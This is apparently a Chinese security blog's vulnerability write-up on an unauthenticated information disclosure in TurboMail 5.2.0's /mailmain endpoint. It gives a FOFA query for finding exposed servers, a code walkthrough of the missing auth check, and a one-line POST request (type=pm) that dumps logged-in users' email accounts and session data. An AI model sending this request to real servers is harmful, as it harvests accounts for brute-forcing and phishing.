TurboMail mailmain 敏感信息泄露漏洞


漏洞简介

TurboMail邮件系统是广州拓波软件科技有限公司研发的面向企事业单位通信需求而研发的电子邮件服务器系统。该系统mailmain接口中的pm方法存在未授权访问,未授权攻击者可利用该漏洞获取系统用户信息,可能导致进一步的攻击。

影响版本

v5.2.0

fofa语法

app="TurboMail" || body="maintlogin.jsp" || body="tmw/1/getpassword.jsp"

漏洞分析

根据web.xml里对mailmain的定义

<servlet-mapping>
   <servlet-name>mailmaini</servlet-name>
   <url-pattern>/mailmain</url-pattern>          
</servlet-mapping>

<web-app>
       <servlet>
          <servlet-name>mailmaini</servlet-name>
          <servlet-class>turbomail.web.MailMain</servlet-class>  

跟进turbomail.web.MailMain类看下

标准的Servlet写法,看下本次漏洞点

long lCurStart = System.currentTimeMillis();
String intertype = request.getParameter("intertype");
if (intertype != null && intertype.equals("ajax")) {
    AjaxMain.service(request, response);
    long lCurEnd = System.currentTimeMillis();
    MailSession ms = WebUtil.getms(request, response);
    String type = request.getParameter("type");
    if (ms != null) {
        KPIMonitor.setWebResponseTime(type, ms.userinfo.getUid(), ms.userinfo.domain, (int)(lCurEnd - lCurStart));
    } else {
        KPIMonitor.setWebResponseTime(type, "", "", (int)(lCurEnd - lCurStart));
    }

} else {
    String type = request.getParameter("type");
    if (type == null) {
        type = "";
    }

    if (type.equals("login")) {
        Login.login(request, response);
    } else if (type.equals("logout")) {
        Logout.doGet(request, response);
    } else if (type.equals("pm")) {
    PMAdmin.show(false, request, response);
    ......

当intertype=ajax时会进入AjaxMain.service,暂时不管,当type=pm时,进入PMAdmin.show方法

public class PMAdmin {
    private static ArrayList alPM = new ArrayList();

    public static void addPM(PMInterface pm) {
        alPM.add(pm);
    }

    public static void show(boolean bAjax, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        PMInterface pm = null;
        StringBuffer sb = new StringBuffer();

        for(int i = 0; i < alPM.size(); ++i) {
            pm = (PMInterface)alPM.get(i);
            sb.append(pm.PM());
            sb.append("\r\n");
        }

        String str = sb.toString();
        response.getOutputStream().write(str.getBytes(SysConts.New_InCharSet));
    }
}

无任何鉴权或者校验,直接将存储的 PMInterface 对象遍历进行遍历,调用其 PM() 方法,将结果拼接为多行文本。全部循环遍历后输出在响应里,在看下PM方法实现逻辑

直接获取系统所有的session后输出数量以及对应的key==》邮箱帐号

SessinonAdmin ht_usersession user:

漏洞复现

POST /mailmain HTTP/1.1
Host: turbomail.mrxn.net
Content-Type: application/x-www-form-urlencoded

type=pm

成功获取系统已登录用户帐号信息以及session相关信息,攻击者拿到邮箱帐号后就可能进一步攻击如邮箱密码爆破、钓鱼邮件等等。


手机扫码阅读

红帆ioffice PgcaUserLogin.aspx SQL 注入漏洞

东胜物流软件 DsWebService.asmx XXE漏洞

评 论